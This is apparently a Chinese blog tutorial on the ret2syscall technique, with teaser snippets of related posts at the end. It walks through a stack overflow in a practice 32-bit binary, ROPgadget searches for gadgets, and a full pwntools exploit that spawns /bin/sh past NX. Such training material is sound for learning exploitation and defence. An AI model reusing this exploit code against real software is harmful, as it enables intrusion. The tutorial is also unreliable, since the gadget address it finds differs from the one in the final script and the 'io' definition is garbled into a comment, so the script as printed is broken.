Ret2Syscall繞過NX ASLR保護

2021-09-01 11:37:06 字數 2311 閱讀 2902

ret2syscall,即控制程式執行系統呼叫,進而獲取shell。

下面看看我們的vuln程式。

可以看出,程式中的gets有明顯的 溢位漏洞

用gdb開啟,

檢查一下檔案開啟了哪些防護:

可以看出程式開啟了 nx(棧不可執行)防護,那麼,我們可以用rop繞過防護

接來下,我們利用溢位漏洞來控制程式執行syscall(系統呼叫)

有關syscall系統呼叫的資訊,可以在這裡檢視:

漏洞利用思路:

1、計算字串儲存開始的地方到ebp之間的長度。

2、用某個字元填充這一段記憶體。

3、找到系統呼叫的位址 (int 80)

4、找到系統呼叫需要的引數,可以在上面的那個**檢視,我們分別需要控制eax,ebx,ecx,edx這4個暫存器

5、找到相應的gadget,即pop..ret的位址、「/bin/sh」的位址

這裡可以看出v4(放我們輸入的字串的地方)在esp+1c的地方

相對應棧頂指標的索引,一般需要進行除錯

我們把斷點定在gets處:

計算:esp+1c - ebp = 0x6c  (108)

因為這個32位程式,所以在108+4個字元後,就開始覆蓋eip了,即開始覆蓋函式的返回位址。

所以 payload='a' * 112

我們呼叫syscall之前,需要先把引數設定好

eax:0xb( sys_execve),ebx:『/bin/sh』的位址,ecx:null,edx:null

這裡就需要利用到我們的gadget,

我們可以通過 ropgadget.py 來獲取我們需要的gadget

命令:python rop.py --binary ./rop2syscall --only "pop|ret" | grep 'eax'

得到:0x0804f704 : pop eax ; ret 3

命令:python rop.py --binary ./rop2syscall --only "pop|ret" 

得到:0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

命令: python rop.py --binary ./rop2syscall --string "/bin/sh"

得到:0x080be408 : /bin/sh

命令:python rop.py --binary ./rop2syscall --only "int"

得到:0x08049421 : int 0x80

得到位址後,我們繼續構造payload

payload += p32(pop_eax_ret) + p32(0x0b)

payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)

payload += p32(syscall)

完整的exp:

from pwn import *

pop_eax_ret = 0x080bb196

pop_edx_ecx_ebx_ret = 0x0806eb90

bin_sh = 0x080be408

syscall = 0x08049421

#80io=process('./rop2syscall')

payload = 'a'*112

payload += p32(pop_eax_ret) + p32(0x0b)

payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)

payload += p32(syscall)

io.sendline(payload)

io.interactive()

利用ROP Ret2Syscall突破NX保護

利用rop ret2syscall突破nx保護 ret2text依賴的是系統中有system函式,但是有的程式裡面沒有system,並且有的程式開啟了nx保護,這是就不能使用ret2shellcode自定義shellcode 因此,我們就要用ret2syscall幫忙實現。gadgets 是指在程式...

PWN基礎8 Ret2Text 例項

1 棧溢位快速確定偏移量 cyclic 200 cyclic l 異常位址 pattern create 200 pattern offset 異常位址 2 定位system函式 objdump t 檢視程式中使用到的函式 objdump d 檢視程式中函式的彙編 objdump d m intel...

與ret2shellcode的初相識

發現freebuf的網名好像不可以修改,後悔當時隨便起的這個名字了!害 ret2shellcode,也就是return to shellcode,在執行完某個函式之後,跳到shellcode上,達到get shell的目的。ret2shellcode關鍵在於我們找到乙個可讀可寫可執行的緩衝區,接下來...